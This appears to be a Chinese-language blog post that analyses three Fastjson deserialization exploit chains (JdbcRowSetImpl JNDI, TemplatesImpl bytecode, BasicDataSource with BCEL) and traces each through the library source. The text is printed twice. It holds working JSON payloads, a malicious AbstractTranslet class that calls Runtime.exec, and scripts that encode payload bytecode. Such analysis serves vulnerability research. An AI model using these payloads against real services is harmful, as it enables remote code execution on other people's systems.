Fastjson的三种漏洞利用链

Java Fastjson

JdbcRowSetImpl

String payload = "{\n" +
    "    \"a\":{\n" +
    "        \"@type\":\"java.lang.Class\",\n" +
    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
    "    },\n" +
    "    \"b\":{\n" +
    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
    "        \"autoCommit\":true\n" +
    "    }\n" +
    "}";
JSON.parse(payload);

payload中的a对象用来当作缓存绕过，需要关注的是第二个对象
注意到其中"autoCommit":true，反序列化时，会反射设置属性，调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        // conn为空才会调用到这里
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

跟入com.sun.rowset.JdbcRowSetImpl.connect()，触发lookup，加载远程恶意对象

protected Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            // conn为空且dataSourceName不为空才会到这里
            InitialContext var1 = new InitialContext();
            // 成功触发JNDI注入
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        ......
        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

跟入decodeObject方法，看到加载了远程Reference绑定的恶意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结：

• 实战可以利用，JDNI注入基于较低版本的JDK，LDAP适用范围更广
• 必须能出网，加载远端的恶意字节码，造成了局限性

  TemplateImpl

  String payload = "{\"a\":{\n" +
    "\"@type\":\"java.lang.Class\",\n" +
    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    "},\n" +
    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
  JSON.parse(payload, Feature.SupportNonPublicField);

  注意其中的Payload来自于恶意类，该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

  public class TEMPOC extends AbstractTranslet {
    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
  }

  类似第一条链，使用两个对象绕过，其中的Payload为恶意类的字节码再Base64编码的结果，给出简易的py脚本

  fin = open(r"PATH-TO-TEMPOC.class", "rb")
  byte = fin.read()
  fout = base64.b64encode(byte).decode("utf-8")
  print(fout)

  该链需要开启Feature.SupportNonPublicField参数再反射设置属性，查看官方说明，如果某属性不存在set方法，但还想设置值时，需要开启该参数，这里的情况正好符合，而实际项目中很少出现这种情况，导致该链较鸡肋，没有实际的意义（其实TemplateImpl类中有set方法，比如setTransletBytecodes，但是名称和Bytecodes不一致）
  在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

  final int mask = Feature.SupportNonPublicField.mask;
  if (fieldDeserializer == null
    && (lexer.isEnabled(mask)
        || (this.beanInfo.parserFeatures & mask) != 0)) {
    ......

  反序列化时，fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

  public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
  }

  调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

  transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

  跟入getTransletInstance ```java // name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入`defineTransletClasses`，对父类进行了验证，这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题，将在上方的`newInstance`方法中实例化该类，造成RCE
```java
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

为什么_bytescode要对字节码进行base64编码？反序列化的过程中会调用很多类，在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候，会对字段进行一次base64的解码

......        
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
    byte[] bytes = lexer.bytesValue();
    ......

跟入lexer.bytesValue()方法，看到decodeBase64

public byte[] bytesValue() {
    ......
    // base64解码
    return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结：

• TemplatesImpl类是Java反序列化界比较常用的类，更容易理解和上手
• 需要开启Feature.SupportNonPublicField，实战中不适用

  BasicDataSource

  String payload = "{\n" +
    "    \"name\":\n" +
    "    {\n" +
    "        \"@type\" : \"java.lang.Class\",\n" +
    "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    "    },\n" +
    "    \"x\" : {\n" +
    "        \"name\": {\n" +
    "            \"@type\" : \"java.lang.Class\",\n" +
    "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "        },\n" +
    "        \"y\": {\n" +
    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    "            \"c\": {\n" +
    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\":\"!!!Payload!!!\",\n" +
    "\n" +
    "                     \"$ref\": \"$.x.y.c.connection\"\n" +
    "\n" +
    "            }\n" +
    "        }\n" +
    "    }\n" +
    "}";
  JSON.parse(payload);

  这个Payload适用于1.2.37版本，并且需要导入Tomcat相关的包

  <dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.37</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>8.0.36</version>
    </dependency>
  </dependencies>

  生成driverClassName的工具如下 ```java import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;

public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = “BCEL” + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); } }

BCEL的全名是Apache Commons BCEL，Apache Commons项目下的一个子项目，包含在JDK的原生库中。可以通过BCEL提供的两个类 Repository 和 Utility 来利用：Repository 用于将一个Java Class先转换成原生字节码，当然这里也可以直接使用javac命令来编译java文件生成字节码；Utility 用于将原生的字节码转换成BCEL格式的字节码。<br />生成的BCEL格式大概如下：

BCEL$l$8b$I$A$A$A$A$A$A$AmQ$……

将这种格式的字符串，作为“字节码”传入`new ClassLoader().loadClass(code).newInstance();`将会被实例化，当在Fastjson反序列化中构造出这种链，将会造成反序列化漏洞<br />回到Payload，开头一部分用于绕Fastjson黑白名单，没有什么特殊的意义，核心部分如下：
```json
"x" : {
    "name": {
        "@type" : "java.lang.Class",
        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "y": {
        "@type":"com.alibaba.fastjson.JSONObject",
        "c": {
            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            "driverClassLoader": {
                "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName":"!!!Payload!!!",
            "$ref": "$.x.y.c.connection"
        }
    }
}

这个版本利用的是$ref这个特性：当fastjson版本>=1.2.36时，可以使用$ref的方式来调用任意的getter，比如这个Payload调用的是x.y.c.connection，x是这个大对象，最终调用的是c对象的connection方法，也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {
    // 传入的ref是$.x.y.c.connection，匹配到else
    if ("@".equals(ref)) {
        ...
    } else if ("..".equals(ref)) {
        ...
    } else if ("$".equals(ref)) {
        ...
    } else {
        Object refObj = parser.resolveReference(ref);
        if (refObj != null) {
            object = refObj;
        } else {
            // 将$.x.y.c.connection加入到Task
            parser.addResolveTask(new ResolveTask(context, ref));
            parser.resolveStatus = DefaultJSONParser.NeedToResolve;
        }
    }
}
// 处理后设置到context    
parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {
    refValue = getObject(ref);
    if (refValue == null) {
        try {
            // 看到eval感觉有东西
            refValue = JSONPath.eval(value, ref);
        } catch (JSONPathException ex) {
            // skip
        }
    }
}

跟入JSONPath.eval，这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {
    if (rootObject == null) {
        return null;
    }
    init();
    Object currentObject = rootObject;
    for (int i = 0; i < segments.length; ++i) {
        Segement segement = segments[i];
        // 继续跟入
        currentObject = segement.eval(this, rootObject, currentObject);
    }
    return currentObject;
}

到达com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {
    if (deep) {
        List<Object> results = new ArrayList<Object>();
        path.deepScan(currentObject, propertyName, results);
        return results;
    } else {
        // return path.getPropertyValue(currentObject, propertyName, true);
        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
    }
}

继续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
    if (currentObject == null) {
        return null;
    }
    if (currentObject instanceof Map) {
        Map map = (Map) currentObject;
        Object val = map.get(propertyName);
        if (val == null && SIZE == propertyNameHash) {
            val = map.size();
        }
        return val;
    }
    final Class<?> currentClass = currentObject.getClass();
    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
    if (beanSerializer != null) {
        try {
            // 最后一次循环到达这里
            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
        } catch (Exception e) {
            throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
        }
    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
    FieldSerializer fieldDeser = getFieldSerializer(keyHash);
    ......
    // 跟入
    return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
    Object propertyValue =  fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo，达到最终触发点：method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
    return method != null
            ? method.invoke(javaObject)
            : field.get(javaObject);
}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource本身

public Connection getConnection() throws SQLException {
    if (Utils.IS_SECURITY_ENABLED) {
        // 跟入
        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
        try {
            return AccessController.doPrivileged(action);
        } catch (final PrivilegedActionException e) {
            final Throwable cause = e.getCause();
            if (cause instanceof SQLException) {
                throw (SQLException) cause;
            }
            throw new SQLException(e);
        }
    }
    return createDataSource().getConnection();
}
    private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
        @Override
        public Connection run() throws SQLException {
            // 跟入createDataSource()
            return createDataSource().getConnection();
        }
    }
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点，其中driverClassName和driverClassLoader都是可控的，由用户输入，指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader，设置ClassName为BCEL…这种格式后，在newInstance方法执行后被实例化。第二个参数initial为true时，类加载后将会直接执行static{}块中的代码。

if (driverClassLoader == null) {
    driverFromCCL = Class.forName(driverClassName);
} else {
    driverFromCCL = Class.forName(
        driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

总结：

• 不需要出网，不需要开启特殊的参数，适用范围较广
• 目标需要引入tomcat依赖，虽说比较常见，但也是一种限制

Fastjson已被大家分析过很多次，本文主要是对三种利用链做分析和对比

JdbcRowSetImpl

String payload = "{\n" +
    "    \"a\":{\n" +
    "        \"@type\":\"java.lang.Class\",\n" +
    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
    "    },\n" +
    "    \"b\":{\n" +
    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
    "        \"autoCommit\":true\n" +
    "    }\n" +
    "}";
JSON.parse(payload);

payload中的a对象用来当作缓存绕过，需要关注的是第二个对象
注意到其中”autoCommit”:true，反序列化时，会反射设置属性，调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        // conn为空才会调用到这里
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

跟入com.sun.rowset.JdbcRowSetImpl.connect()，触发lookup，加载远程恶意对象

protected Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            // conn为空且dataSourceName不为空才会到这里
            InitialContext var1 = new InitialContext();
            // 成功触发JNDI注入
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        ......
            return this.decodeObject(var2, var1.getPrefix(1));
    }
}

跟入decodeObject方法，看到加载了远程Reference绑定的恶意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结：

• 实战可以利用，JDNI注入基于较低版本的JDK，LDAP适用范围更广
• 必须能出网，加载远端的恶意字节码，造成了局限性

  TemplateImpl

  String payload = "{\"a\":{\n" +
    "\"@type\":\"java.lang.Class\",\n" +
    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    "},\n" +
    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
  JSON.parse(payload, Feature.SupportNonPublicField);

  注意其中的Payload来自于恶意类，该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

  public class TEMPOC extends AbstractTranslet {
    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
  }

  类似第一条链，使用两个对象绕过，其中的Payload为恶意类的字节码再Base64编码的结果，给出简易的py脚本

  fin = open(r"PATH-TO-TEMPOC.class", "rb")
  byte = fin.read()
  fout = base64.b64encode(byte).decode("utf-8")
  print(fout)

  该链需要开启Feature.SupportNonPublicField参数再反射设置属性，查看官方说明，如果某属性不存在set方法，但还想设置值时，需要开启该参数，这里的情况正好符合，而实际项目中很少出现这种情况，导致该链较鸡肋，没有实际的意义（其实TemplateImpl类中有set方法，比如setTransletBytecodes，但是名称和Bytecodes不一致）
  在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

  final int mask = Feature.SupportNonPublicField.mask;
  if (fieldDeserializer == null
    && (lexer.isEnabled(mask)
        || (this.beanInfo.parserFeatures & mask) != 0)) {
    ......

  反序列化时，fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

  public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
  }

  调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

  transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

  跟入getTransletInstance ```java // name不能为空所以在payload中设置a.b if (_name == null) return null; // 关键 if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入`defineTransletClasses`，对父类进行了验证，这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题，将在上方的`newInstance`方法中实例化该类，造成RCE
```java
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

为什么_bytescode要对字节码进行base64编码？反序列化的过程中会调用很多类，在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候，会对字段进行一次base64的解码

......        
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
    byte[] bytes = lexer.bytesValue();
    ......

跟入lexer.bytesValue()方法，看到decodeBase64

public byte[] bytesValue() {
    ......
    // base64解码
    return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结：

• TemplatesImpl类是Java反序列化界比较常用的类，更容易理解和上手
• 需要开启Feature.SupportNonPublicField，实战中不适用

  BasicDataSource

  String payload = "{\n" +
    "    \"name\":\n" +
    "    {\n" +
    "        \"@type\" : \"java.lang.Class\",\n" +
    "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    "    },\n" +
    "    \"x\" : {\n" +
    "        \"name\": {\n" +
    "            \"@type\" : \"java.lang.Class\",\n" +
    "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "        },\n" +
    "        \"y\": {\n" +
    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    "            \"c\": {\n" +
    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\":\"!!!Payload!!!\",\n" +
    "\n" +
    "                     \"$ref\": \"$.x.y.c.connection\"\n" +
    "\n" +
    "            }\n" +
    "        }\n" +
    "    }\n" +
    "}";
  JSON.parse(payload);

  这个Payload适用于1.2.37版本，并且需要导入Tomcat相关的包

  <dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.37</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>8.0.36</version>
    </dependency>
  </dependencies>

  生成driverClassName的工具如下 ```java import com.sun.org.apache.bcel.internal.util.ClassLoader; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository;

public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = “BCEL” + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); } }

BCEL的全名是Apache Commons BCEL，Apache Commons项目下的一个子项目，包含在JDK的原生库中。可以通过BCEL提供的两个类 Repository 和 Utility 来利用：Repository 用于将一个Java Class先转换成原生字节码，当然这里也可以直接使用javac命令来编译java文件生成字节码；Utility 用于将原生的字节码转换成BCEL格式的字节码。<br />生成的BCEL格式大概如下：

BCEL$l$8b$I$A$A$A$A$A$A$AmQ$……

将这种格式的字符串，作为“字节码”传入`new ClassLoader().loadClass(code).newInstance();`将会被实例化，当在Fastjson反序列化中构造出这种链，将会造成反序列化漏洞<br />回到Payload，开头一部分用于绕Fastjson黑白名单，没有什么特殊的意义，核心部分如下：
```json
"x" : {
    "name": {
        "@type" : "java.lang.Class",
        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "y": {
        "@type":"com.alibaba.fastjson.JSONObject",
        "c": {
            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            "driverClassLoader": {
                "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName":"!!!Payload!!!",
            "$ref": "$.x.y.c.connection"
        }
    }
}

这个版本利用的是$ref这个特性：当fastjson版本>=1.2.36时，可以使用$ref的方式来调用任意的getter，比如这个Payload调用的是x.y.c.connection，x是这个大对象，最终调用的是c对象的connection方法，也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {
    // 传入的ref是$.x.y.c.connection，匹配到else
    if ("@".equals(ref)) {
        ...
    } else if ("..".equals(ref)) {
        ...
    } else if ("$".equals(ref)) {
        ...
    } else {
        Object refObj = parser.resolveReference(ref);
        if (refObj != null) {
            object = refObj;
        } else {
            // 将$.x.y.c.connection加入到Task
            parser.addResolveTask(new ResolveTask(context, ref));
            parser.resolveStatus = DefaultJSONParser.NeedToResolve;
        }
    }
}
// 处理后设置到context    
parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {
    refValue = getObject(ref);
    if (refValue == null) {
        try {
            // 看到eval感觉有东西
            refValue = JSONPath.eval(value, ref);
        } catch (JSONPathException ex) {
            // skip
        }
    }
}

跟入JSONPath.eval，这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {
    if (rootObject == null) {
        return null;
    }
    init();
    Object currentObject = rootObject;
    for (int i = 0; i < segments.length; ++i) {
        Segement segement = segments[i];
        // 继续跟入
        currentObject = segement.eval(this, rootObject, currentObject);
    }
    return currentObject;
}

到达com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {
    if (deep) {
        List<Object> results = new ArrayList<Object>();
        path.deepScan(currentObject, propertyName, results);
        return results;
    } else {
        // return path.getPropertyValue(currentObject, propertyName, true);
        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
    }
}

继续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
    if (currentObject == null) {
        return null;
    }
    if (currentObject instanceof Map) {
        Map map = (Map) currentObject;
        Object val = map.get(propertyName);
        if (val == null && SIZE == propertyNameHash) {
            val = map.size();
        }
        return val;
    }
    final Class<?> currentClass = currentObject.getClass();
    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
    if (beanSerializer != null) {
        try {
            // 最后一次循环到达这里
            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
        } catch (Exception e) {
            throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
        }
    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
    FieldSerializer fieldDeser = getFieldSerializer(keyHash);
    ......
    // 跟入
    return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
    Object propertyValue =  fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo，达到最终触发点：method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
    return method != null
            ? method.invoke(javaObject)
            : field.get(javaObject);
}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource本身

public Connection getConnection() throws SQLException {
    if (Utils.IS_SECURITY_ENABLED) {
        // 跟入
        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
        try {
            return AccessController.doPrivileged(action);
        } catch (final PrivilegedActionException e) {
            final Throwable cause = e.getCause();
            if (cause instanceof SQLException) {
                throw (SQLException) cause;
            }
            throw new SQLException(e);
        }
    }
    return createDataSource().getConnection();
}
    private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
        @Override
        public Connection run() throws SQLException {
            // 跟入createDataSource()
            return createDataSource().getConnection();
        }
    }
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点，其中driverClassName和driverClassLoader都是可控的，由用户输入，指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader，设置ClassName为BCEL…这种格式后，在newInstance方法执行后被实例化。第二个参数initial为true时，类加载后将会直接执行static{}块中的代码。

if (driverClassLoader == null) {
    driverFromCCL = Class.forName(driverClassName);
} else {
    driverFromCCL = Class.forName(
        driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

总结：

• 不需要出网，不需要开启特殊的参数，适用范围较广
• 目标需要引入tomcat依赖，虽说比较常见，但也是一种限制